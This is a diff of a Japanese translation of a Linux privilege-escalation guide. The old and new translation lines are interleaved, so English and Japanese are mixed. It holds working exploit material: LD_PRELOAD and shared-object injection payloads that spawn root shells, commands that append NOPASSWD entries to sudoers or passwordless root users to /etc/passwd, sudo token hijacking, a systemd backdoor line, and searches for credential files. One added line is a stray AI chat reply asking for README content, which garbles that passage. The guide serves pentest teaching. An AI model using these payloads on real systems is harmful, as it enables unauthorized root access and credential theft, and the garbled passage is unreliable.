privileges. +Privilege escalation は、`sudo` でコマンドを実行する権限があり、`sudo -l` の出力に **env_keep+=LD_PRELOAD** が含まれている場合に発生する可能性があります。この設定により、`sudo` でコマンドを実行しても **LD_PRELOAD** 環境変数が保持され認識されるため、結果として任意のコードが elevated privileges で実行される可能性があります。 ``` Defaults env_keep += LD_PRELOAD ``` -次のファイル名で保存: **/tmp/pe.c** +**/tmp/pe.c** として保存 ```c #include #include @@ -859,7 +869,7 @@ setuid(0); system("/bin/bash"); } ``` -次に、**compile it** を使ってコンパイルします: +次に、**コンパイルする**には、次を使用します: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles @@ -869,7 +879,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> 類似の privesc は、攻撃者が **LD_LIBRARY_PATH** 環境変数を制御している場合に悪用され得ます。攻撃者はライブラリが検索されるパスを制御できるためです。 +> 類似の privesc は攻撃者が **LD_LIBRARY_PATH** env variable を制御している場合に悪用され得る。なぜなら攻撃者がライブラリが検索されるパスを制御できるからだ。 ```c #include #include @@ -891,13 +901,13 @@ sudo LD_LIBRARY_PATH=/tmp ``` ### SUID Binary – .so injection -通常と異なるように見える **SUID** 権限を持つバイナリに遭遇した場合、**.so** ファイルを適切に読み込んでいるかを確認することをお勧めします。これは次のコマンドを実行して確認できます: +通常と異なる**SUID**権限を持つbinaryに遭遇した場合、正しく**.so**ファイルをロードしているか確認することをおすすめします。これは次のコマンドを実行して確認できます: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、潜在的な悪用の可能性が示唆されます。 +例えば、_"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ のようなエラーに遭遇した場合、それは悪用の可能性を示唆します。 -これを exploit するには、例えば _"/path/to/.config/libcalc.c"_ という C ファイルを作成し、以下のコードを記述します: +これを悪用するには、例えば _"/path/to/.config/libcalc.c"_ というCファイルを作成し、以下のコードを含めます: ```c #include #include @@ -908,13 +918,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -このコードは、コンパイルして実行されると、ファイルのパーミッションを操作し、権限昇格した shell を実行することで特権を取得することを目的としています。 +このコードは、コンパイルして実行すると、ファイルのパーミッションを操作し、特権昇格したシェルを実行することで権限を昇格させることを目的としています。 -上記の C ファイルを shared object (.so) ファイルにコンパイルするには: +上記の C ファイルを shared object (.so) ファイルにコンパイルするには、次のようにします: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -最後に、影響を受けた SUID バイナリを実行すると exploit がトリガーされ、システムの乗っ取りにつながる可能性があります。 +最後に、影響を受けた SUID binary を実行すると、エクスプロイトがトリガーされ、システムが侵害される可能性があります。 ## Shared Object Hijacking ```bash @@ -926,7 +936,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -書き込み可能なフォルダからライブラリをロードする SUID binary を見つけたので、そのフォルダに必要な名前のライブラリを作成しましょう: +書き込み可能なフォルダからライブラリをロードする SUID binary を見つけたので、そのフォルダに必要な名前でライブラリを作成しましょう: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -947,9 +957,9 @@ that means that the library you have generated need to have a function called `a ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) は、ローカルのセキュリティ制限を回避するために攻撃者によって悪用され得る Unix バイナリを厳選したリストです。 [**GTFOArgs**](https://gtfoargs.github.io/) は同様のプロジェクトで、コマンドに **only inject arguments** できる場合を対象としています。 +[**GTFOBins**](https://gtfobins.github.io) は、攻撃者がローカルのセキュリティ制限を回避するために悪用できるUnixバイナリを厳選してまとめたリストです。[**GTFOArgs**](https://gtfoargs.github.io/) は、コマンドに**引数のみを注入できる**場合を対象にした同様のプロジェクトです。 -このプロジェクトは、restricted shells からの脱出、権限の昇格や維持(escalate or maintain elevated privileges)、ファイル転送、bind and reverse shells の生成、その他の post-exploitation タスクを容易にするために悪用可能な Unix バイナリの正規の機能を収集しています。 +このプロジェクトは、Unixバイナリの正規の機能を収集しており、それらは break out restricted shells、escalate or maintain elevated privileges、transfer files、spawn bind and reverse shells、およびその他の post-exploitation tasks の遂行に悪用され得ます。 > gdb -nx -ex '!sh' -ex quit\ > sudo mysql -e '! /bin/sh'\ @@ -968,55 +978,55 @@ https://gtfoargs.github.io/ ### FallOfSudo -`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使って、任意の sudo ルールを悪用する方法が見つかるかどうかをチェックできます。 +`sudo -l` にアクセスできる場合、ツール [**FallOfSudo**](https://github.com/CyberOne-Security/FallofSudo) を使用して、sudo のルールを悪用できる方法が見つかるかどうかを確認できます。 ### Reusing Sudo Tokens -パスワードは分からないが **sudo access** がある場合、**sudo コマンドの実行を待ち、そのセッショントークンをハイジャックする**ことで権限を昇格できます。 +パスワードがわからないが **sudo access** がある場合、権限を昇格するために **waiting for a sudo command execution and then hijacking the session token** という手法を利用できます。 Requirements to escalate privileges: -- You already have a shell as user "_sampleuser_" -- "_sampleuser_" have **used `sudo`** to execute something in the **last 15mins** (by default that's the duration of the sudo token that allows us to use `sudo` without introducing any password) -- `cat /proc/sys/kernel/yama/ptrace_scope` is 0 -- `gdb` is accessible (you can be able to upload it) +- あなたは既にユーザー _sampleuser_ としてシェルを持っている +- _sampleuser_ は **used `sudo`** によって過去 **last 15mins** に何かを実行している(デフォルトではこれは、パスワードを入力せずに `sudo` を使える sudo トークンの有効期間です) +- `cat /proc/sys/kernel/yama/ptrace_scope` が 0 である +- `gdb` にアクセスできる(アップロードできること) -(一時的に ptrace_scope を設定するには `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` を使うか、`/etc/sysctl.d/10-ptrace.conf` を永続的に変更して `kernel.yama.ptrace_scope = 0` を設定してください) +(You can temporarily enable `ptrace_scope` with `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` or permanently modifying `/etc/sysctl.d/10-ptrace.conf` and setting `kernel.yama.ptrace_scope = 0`) -If all these requirements are met, **you can escalate privileges using:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) +If all these requirements are met, **次を使用して権限を昇格できます:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. You can use it to **activate the sudo token in your session** (you won't get automatically a root shell, do `sudo su`): +- The **first exploit** (`exploit.sh`) will create the binary `activate_sudo_token` in _/tmp_. これを使って **セッション内の sudo トークンを有効化**できます(自動的に root シェルが得られるわけではありません。`sudo su` を実行してください): ```bash bash exploit.sh /tmp/activate_sudo_token sudo su ``` -- **second exploit** (`exploit_v2.sh`) は _/tmp_ に **root 所有で setuid** な sh シェルを作成します +- その **second exploit** (`exploit_v2.sh`) は _/tmp_ に **root 所有で setuid の** sh shell を作成します ```bash bash exploit_v2.sh /tmp/sh -p ``` -- この **3番目の exploit** (`exploit_v3.sh`) は **sudoers file を作成** し、**sudo tokens を永続化して全ユーザーが sudo を使用できるようにします** +- **3番目の exploit** (`exploit_v3.sh`) は、**sudoersファイルを作成し、sudo tokens を永続化してすべてのユーザーが sudo を使用できるようにします** ```bash bash exploit_v3.sh sudo su ``` ### /var/run/sudo/ts/\ -フォルダ、またはフォルダ内に作成されたファイルのいずれかに**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使用して**ユーザーとPID用のsudoトークンを作成**できます。\ -例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザー(PID 1234)としてシェルを持っている場合、パスワードを知らなくても以下の操作で**obtain sudo privileges**できます: +フォルダ自体、またはフォルダ内に作成されたファイルのいずれかに対して**書き込み権限**がある場合、バイナリ[**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools)を使って**ユーザーとPIDのsudoトークンを作成**できます。\ +例えば、ファイル _/var/run/sudo/ts/sampleuser_ を上書きでき、かつそのユーザーとしてPIDが1234のシェルを持っている場合、パスワードを知らなくても次のようにして**sudo権限を取得**できます: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -`/etc/sudoers` ファイルおよび `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使えるかとその方法を設定します。これらのファイルは **デフォルトではユーザー root およびグループ root によってのみ読み取ることができます**。\ -**もし**このファイルを**読む**ことができれば、**いくつかの興味深い情報を取得できる可能性があります**。そして、もし任意のファイルに**書き込み**できるなら、**権限を昇格**させることができます。 +ファイル `/etc/sudoers` および `/etc/sudoers.d` 内のファイルは、誰が `sudo` を使用できるかおよびその方法を設定します。これらのファイルは**by default can only be read by user root and group root**。\ +**If** このファイルを**read**できるなら、**obtain some interesting information**を得られる可能性があり、任意のファイルに**write**できるなら、**escalate privileges**が可能になります。 ```bash ls -l /etc/sudoers /etc/sudoers.d/ ls -ld /etc/sudoers.d/ ``` -書き込みができるなら、この権限を悪用できます。 +書き込み権があれば、この権限を悪用できます。 ```bash echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README @@ -1030,17 +1040,17 @@ echo "Defaults timestamp_timeout=-1" >> /etc/sudoers.d/win ``` ### DOAS -OpenBSD向けの`doas`のように、`sudo`バイナリの代替はいくつかあります。設定は`/etc/doas.conf`で確認してください。 +OpenBSD向けの`doas`のように、`sudo`バイナリの代替となるものがいくつかあります。設定は`/etc/doas.conf`を確認してください。 ``` permit nopass demo as root cmd vim ``` ### Sudo Hijacking -もし、**user usually connects to a machine and uses `sudo`** と分かっていて、そのユーザーコンテキスト内でシェルを取得している場合、root としてあなたのコードを実行し、その後ユーザーのコマンドを実行する **create a new sudo executable** を作成できます。次に、ユーザーコンテキストの **modify the $PATH**(例えば .bash_profile に新しいパスを追加するなど)を行えば、ユーザーが sudo を実行したときにあなたの sudo 実行ファイルが実行されます。 +If you know that a **ユーザが通常マシンに接続して権限昇格に `sudo` を使用する** and you got a shell within that user context, you can **新しい sudo 実行ファイルを作成する** that will execute your code as root and then the user's command. Then, **ユーザコンテキストの $PATH を変更する** (for example adding the new path in .bash_profile) so when the user executes sudo, your sudo executable is executed. -注意:ユーザーが別の shell(bash 以外)を使用している場合、新しいパスを追加するために他のファイルを変更する必要があります。例えば[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) は `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` を変更します。別の例は [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) にあります。 +Note that if the user uses a different shell (not bash) you will need to modify other files to add the new path. For example [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifies `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. You can find another example in [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) -または次のようなコマンドを実行する: +または次のようなコマンドを実行するなど: ```bash cat >/tmp/sudo < (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -lib を `/var/tmp/flag15/` にコピーすると、`RPATH` 変数で指定されているこの場所でプログラムによって使用されます。 +libを`/var/tmp/flag15/`にコピーすると、`RPATH`変数で指定されているとおり、その場所でプログラムによって使用されます。 ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1091,7 +1101,7 @@ linux-gate.so.1 => (0x005b0000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x00737000) ``` -次に `/var/tmp` に悪意のあるライブラリを `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` で作成します。 +次に、`/var/tmp` に悪意のあるライブラリを作成します。`gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6` を実行します。 ```c #include #define SHELL "/bin/sh" @@ -1104,44 +1114,44 @@ setresuid(geteuid(),geteuid(), geteuid()); execve(file,argv,0); } ``` -## ケーパビリティ +## Capabilities -Linux capabilities はプロセスに対して利用可能な root 権限の**サブセットを提供します**。これは実質的に root の**権限をより小さく独立した単位に分割**することを意味します。各単位は個別にプロセスに付与できるため、権限の全体量が減り、悪用のリスクが低減します。\ -以下のページを読んで、**capabilities とその悪用方法**について詳しく学んでください: +Linux capabilitiesはプロセスに対して利用可能なroot権限の**一部を提供します**。これによりrootの**権限がより小さく識別可能な単位に分割されます**。これらの各単位はプロセスに対して個別に付与できます。こうして権限の全体セットが縮小され、悪用のリスクが低減します。\ +以下のページを読んで、capabilitiesとそれを悪用する方法について**詳しく学んでください**: {{#ref}} linux-capabilities.md {{#endref}} -## ディレクトリの権限 +## Directory permissions -ディレクトリでは、**"execute" ビット**は対象のユーザーが "**cd**" でフォルダに入れることを示します。\ -**"read"** ビットはユーザーがファイルを**一覧表示**できることを示し、**"write"** ビットはユーザーがファイルを**削除**および**新規作成**できることを示します。 +ディレクトリでは、**"execute" のビット**は対象ユーザーが "**cd**" でフォルダに入れることを意味します。\ +**"read"** ビットはユーザーが**ファイルを一覧表示(list)**できることを意味し、**"write"** ビットはユーザーが**ファイルを削除**および**新規作成**できることを意味します。 ## ACLs -Access Control Lists (ACLs) は、裁量的な権限の二次的なレイヤーを表し、従来の ugo/rwx 権限を**上書きすることができます**。これらの権限により、所有者やグループに属さない特定ユーザーに対してアクセスを許可または拒否でき、ファイルやディレクトリへのアクセス制御が強化されます。このような**粒度の細かさにより、より精密なアクセス管理が可能になります**。詳細は [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux) を参照してください。 +Access Control Lists (ACLs) は任意の権限の二次層を表し、従来の ugo/rwx 権限を**上書きすることができます**。これらの権限は、所有者やグループの一員でない特定のユーザーに対して許可や拒否を設定することで、ファイルやディレクトリへのアクセス制御を強化します。このレベルの**粒度により、より精密なアクセス管理が可能になります**。詳しくは[**here**](https://linuxconfig.org/how-to-manage-acls-on-linux)を参照してください。 -**Give** user "kali" read and write permissions over a file: +**付与** ユーザー "kali" にファイルの読み書き権限を付与する: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) setfacl -b file.txt #Remove the ACL of the file ``` -**システムから特定の ACLs を持つファイルを取得する:** +**取得** システムから特定のACLsを持つファイル: ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` ## shell sessions を開く -**古いバージョン**では、別ユーザー(**root**)の**shell**セッションを**hijack**できる場合があります。\ -**最新バージョン**では、**自分のユーザー**のscreen sessions のみに**接続**できるようになっています。しかし、**セッション内の興味深い情報**が見つかることがあります。 +**old versions** では、別ユーザー(**root**)のいくつかの**shell** session を**hijack**できる場合があります。\ +**newest versions** では、**your own user** の screen sessions にのみ**connect**できます。ただし、session 内に**interesting information inside the session**が含まれていることがあります。 ### screen sessions hijacking -**screen sessions を一覧表示** +**List screen sessions** ```bash screen -ls screen -ls / # Show another user' screen sessions @@ -1156,9 +1166,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -これは **古い tmux のバージョン** の問題でした。非特権ユーザーとして root によって作成された tmux (v2.1) セッションを hijack することはできませんでした。 +これは **古い tmux バージョン** の問題でした。root によって作成された tmux (v2.1) セッションを、非特権ユーザーとして hijack できませんでした。 -**tmux セッションを一覧表示する** +**tmux セッションを一覧表示** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1176,53 +1186,53 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +例については **Valentine box from HTB** を確認してください。 ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 -2006年9月から2008年5月13日までの間にDebian系システム(Ubuntu、Kubuntuなど)で生成されたすべての SSL および SSH キーはこのバグの影響を受ける可能性があります.\ -このバグはそれらのOSで新しい ssh キーを作成したときに発生し、**可能なバリエーションがわずか32,768通りしかなかった**ためです。これは、すべての可能性を計算でき、**ssh 公開鍵を持っていれば対応する秘密鍵を検索できる**ことを意味します。計算済みの可能性はここで見つかります: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +2006年9月から2008年5月13日までの間にDebian系システム(Ubuntu、Kubuntuなど)で生成されたすべてのSSLおよびSSHキーはこの脆弱性の影響を受ける可能性があります。\ +このバグはこれらのOSで新しい ssh キーを作成する際に発生し、**可能な変種は32,768通りしかなかった**ためです。つまり、全ての可能性を計算でき、**sshの公開鍵を持っていれば対応する秘密鍵を探索できる**ということです。計算済みの候補はここで見つかります: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values - **PasswordAuthentication:** パスワード認証が許可されているかどうかを指定します。デフォルトは `no` です。 - **PubkeyAuthentication:** 公開鍵認証が許可されているかどうかを指定します。デフォルトは `yes` です。 -- **PermitEmptyPasswords**: パスワード認証が許可されている場合、サーバーが空のパスワード文字列のアカウントでのログインを許可するかどうかを指定します。デフォルトは `no` です。 +- **PermitEmptyPasswords**: パスワード認証が有効な場合に、サーバーがパスワードが空のアカウントへのログインを許可するかどうかを指定します。デフォルトは `no` です。 ### PermitRootLogin -root が ssh でログインできるかどうかを指定します。デフォルトは `no` です。可能な値: +rootがsshでログインできるかどうかを指定します。デフォルトは `no` です。可能な値: -- `yes`: root はパスワードおよび秘密鍵でログインできます -- `without-password` or `prohibit-password`: root は秘密鍵でのみログインできます -- `forced-commands-only`: root は秘密鍵でのみログインでき、かつコマンドのオプションが指定されている場合に限ります -- `no`: 許可しない +- `yes`: rootはパスワードと秘密鍵の両方でログインできます +- `without-password` or `prohibit-password`: rootは秘密鍵のみでログインできます +- `forced-commands-only`: rootは秘密鍵のみでログインでき、かつcommandsオプションが指定されている必要があります +- `no`: rootはログインできません ### AuthorizedKeysFile -ユーザー認証に使用できる公開鍵を含むファイルを指定します。`%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。**絶対パスを指定することができます**(`/`で始まる)または**ユーザーのホームからの相対パス**。例えば: +ユーザー認証に使用できる公開鍵を含むファイルを指定します。 `%h` のようなトークンを含めることができ、これはホームディレクトリに置き換えられます。 **絶対パスを指定できます** (`/`で始まる) または **ユーザーのホームからの相対パス**。例えば: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -その設定は、ユーザー "**testusername**" の**private** keyでログインしようとした場合、sshがあなたのキーのpublic keyを`/home/testusername/.ssh/authorized_keys`および`/home/testusername/access`にあるものと照合することを示します。 +その設定は、ユーザー "**testusername**" の **private** 鍵でログインしようとすると、ssh があなたの鍵の public key を `/home/testusername/.ssh/authorized_keys` と `/home/testusername/access` にあるものと比較することを示します。 ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding により、サーバー上に(without passphrases!)キーを置いておく代わりに**use your local SSH keys instead of leaving keys**ことができます。これにより、sshで**to a host**に**jump**し、そこからさらに別のホストに**jump to another**する際に、**initial host**にある**key**を**using**して接続できます。 +SSH agent forwarding は、サーバー上に鍵(パスフレーズ無し!)を残さずに **use your local SSH keys instead of leaving keys** ことを可能にします。つまり、ssh で **to a host** に **jump** し、そこから別のホストへ **jump to another** するときに、**initial host** にある **key** を **using** することができます。 -You need to set this option in `$HOME/.ssh.config` like this: +このオプションは `$HOME/.ssh.config` に以下のように設定する必要があります: ``` Host example.com ForwardAgent yes ``` -注意: `Host` が `*` の場合、ユーザが別のマシンに移動するたびに、そのホストはキーにアクセスできるようになり(これはセキュリティ上の問題です)。 +注意:`Host` が `*` の場合、ユーザーが別のマシンに移動するたびに、そのホストはキーにアクセスできてしまいます(これはセキュリティ上の問題です)。 -ファイル `/etc/ssh_config` はこの設定を**override**し、この構成を許可または拒否することができます。\ -ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` により ssh-agent forwarding を**allow**または**deny**することができます(デフォルトは allow)。 +ファイル `/etc/ssh_config` はこれらの **options** を **override** し、この設定を許可または拒否することができます。\ +ファイル `/etc/sshd_config` はキーワード `AllowAgentForwarding` を使って ssh-agent フォワーディングを **allow** または **denied** に設定できます(デフォルトは allow)。 -環境で Forward Agent が設定されているのを見つけた場合、次のページを読んでください。**権限昇格に悪用できる可能性があります**: +環境で Forward Agent が設定されているのを見つけたら、次のページを参照してください。**悪用して権限昇格できる可能性があるため**: {{#ref}} @@ -1233,68 +1243,70 @@ ssh-forward-agent-exploitation.md ### プロファイルファイル -ファイル `/etc/profile` と `/etc/profile.d/` 以下のファイルは、ユーザが新しいシェルを起動したときに実行される**スクリプト**です。したがって、これらのいずれかを書き換えたり変更できる場合、**権限を昇格できる**可能性があります。 +ファイル `/etc/profile` および `/etc/profile.d/` 以下のファイルは、ユーザーが新しいシェルを起動したときに実行される **ユーザーが新しいシェルを起動したときに実行されるスクリプト** です。したがって、それらのいずれかに **書き込みまたは変更ができる場合、権限を昇格させることができます**。 ```bash ls -l /etc/profile /etc/profile.d/ ``` -不審なプロファイルスクリプトを見つけたら、**機密情報**が含まれていないか確認してください。 +怪しいプロファイルスクリプトが見つかった場合は、**機密情報**が含まれていないか確認してください。 -### Passwd/Shadow Files +### Passwd/Shadow ファイル -OSによっては `/etc/passwd` と `/etc/shadow` ファイルが別名になっているか、バックアップが存在する場合があります。したがって、**すべて見つける**ことと、**読めるか確認する**ことで、**ファイル内にハッシュが含まれているか**を確認することをおすすめします: +OSによっては `/etc/passwd` や `/etc/shadow` ファイルが別名になっているか、バックアップが存在する場合があります。したがって、**それらをすべて見つけ出し**、**読み取れるか確認して**、ファイル内に**ハッシュが含まれているか**を調べることを推奨します: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -場合によっては、`/etc/passwd`(または同等のファイル)内で**password hashes**を見つけることがあります。 +場合によっては、`/etc/passwd`(または同等のファイル)内に**password hashes**が見つかることがあります ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### 書き込み可能な /etc/passwd +### Writable /etc/passwd -まず、次のコマンドのいずれかでパスワードを生成します。 +まず、以下のいずれかのコマンドでパスワードを生成します。 ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -次にユーザー `hacker` を追加し、生成されたパスワードを設定してください。 +元の README.md の内容を貼ってください。翻訳はその内容に対して行います。 +また、`hacker` ユーザーをどの位置に追加するか(末尾に追記でよいか)と、生成パスワードを平文で含めるかハッシュで含めるかを教えてください。こちらで強力なパスワードを生成して挿入します。 ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` 例: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -これで `su` コマンドを使って `hacker:hacker` を使用できます。 +これで `su` コマンドを `hacker:hacker` で使用できます -あるいは、以下の行を使ってパスワードなしのダミーユーザを追加できます。\ 警告: これによりマシンの現在のセキュリティが低下する可能性があります。 +または、以下の行を使用してパスワードなしのダミーユーザーを追加できます。\ +警告: マシンの現在のセキュリティが低下する可能性があります。 ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` と `/etc/master.passwd` にあり、`/etc/shadow` は `/etc/spwd.db` に名称変更されています。 +注意: BSDプラットフォームでは `/etc/passwd` は `/etc/pwd.db` および `/etc/master.passwd` にあり、`/etc/shadow` は `/etc/spwd.db` に名前が変更されています。 -いくつかの**機密ファイルに書き込めるか**確認してください。例えば、いくつかの**サービス設定ファイル**に書き込み可能ですか? +次に、**write in some sensitive files** ができるか確認してください。例えば、**service configuration file** に書き込めますか? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user ``` -例えば、マシンが **tomcat** サーバを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイル を変更できる** 場合、次の行を変更できます: +例えば、マシンが**tomcat**サーバを実行していて、**/etc/systemd/ 内の Tomcat サービス設定ファイルを変更できる,** その場合、次の行を変更できます: ``` ExecStart=/path/to/backdoor User=root Group=root ``` -次に tomcat が起動したときに、あなたの backdoor は実行されます。 +バックドアはtomcatが次回起動されたときに実行されます。 -### フォルダを確認 +### フォルダの確認 -次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読めないでしょうが、試してみてください) +次のフォルダにはバックアップや興味深い情報が含まれている可能性があります: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (おそらく最後のものは読み取れないでしょうが、試してみてください) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### 奇妙な場所/Owned ファイル +### 奇妙な場所/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1311,11 +1323,11 @@ find / '(' -type f -or -type d ')' -group $g -perm -g=w ! -path "/proc/*" ! -pat done done ``` -### 最後の数分で変更されたファイル +### 直近数分で変更されたファイル ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Sqlite DB ファイル +### Sqlite DBファイル ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1327,12 +1339,12 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **PATH内のスクリプト/バイナリ** +### **PATHにあるスクリプト/バイナリ** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done ``` -### **Webファイル** +### **Web ファイル** ```bash ls -alhR /var/www/ 2>/dev/null ls -alhR /srv/www/htdocs/ 2>/dev/null @@ -1345,18 +1357,18 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### パスワードを含む既知のファイル -[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでみてください。これは **パスワードを含んでいる可能性のある複数のファイル** を検索します。\ -**別の興味深いツール** としては次があります: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) — Windows、Linux、Mac のローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです。 +[**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) のコードを読んでください。これは **パスワードを含む可能性のある複数のファイル** を検索します。\ +**もう一つの興味深いツール** として使えるのは: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) で、ローカルコンピュータに保存された多数のパスワードを取得するためのオープンソースアプリケーションです(Windows, Linux & Mac 向け)。 -### ログ +### Logs -ログを読めるなら、そこに **興味深い/機密情報が含まれている** 可能性があります。ログが奇妙であればあるほど、(おそらく)より興味深くなります。\ -また、一部の「**悪く**」設定された(バックドア化された?)**audit logs** は、監査ログ内に **パスワードを記録する** ことを可能にする場合があり、これはこの投稿で説明されています: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +ログを読むことができれば、**その中に興味深い/機密情報が含まれている**可能性があります。ログが奇妙であればあるほど、(おそらく)より興味深いでしょう。\ +また、いくつかの**"bad"**に設定された(backdoored?)**audit logs**は、監査ログ内に**パスワードを記録する**ことを可能にする場合があります。詳しくはこの投稿を参照してください: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -ログを読むためには、[**adm**](interesting-groups-linux-pe/index.html#adm-group) グループが非常に役立ちます。 +ログを読むために **ログを読むグループ** [**adm**](interesting-groups-linux-pe/index.html#adm-group) は非常に役立ちます。 ### シェルファイル ```bash @@ -1371,57 +1383,57 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` ### Generic Creds Search/Regex -ファイル名やファイルの**content**内に「**password**」という単語が含まれているファイルを確認し、ログ内のIPsやemails、あるいはhashesのregexpsも確認してください。\ -ここですべてのやり方を列挙するつもりはありませんが、興味があれば 